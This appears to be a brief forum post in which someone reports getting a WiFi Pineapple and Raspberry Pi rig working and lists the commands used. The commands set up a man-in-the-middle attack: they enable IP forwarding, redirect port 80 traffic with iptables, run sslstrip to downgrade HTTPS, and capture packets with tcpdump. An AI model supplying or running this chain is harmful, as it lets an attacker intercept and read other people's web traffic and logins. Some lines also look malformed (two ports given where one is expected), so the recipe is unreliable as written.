Problem resolved... actually what I had works, the only item I changed was the port number used.
The following works:
Pineapple connected to the pi via ethernet (eth0)
Pi connects to the internet via (wlan0)Everything is bridged and working perfectly with "wp4.sh"
Run the following commands on the pi:sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 8888
sudo python sslstrip -a -k -l 8080 8888
sudo tcpdump -w test.pcap -i eth0
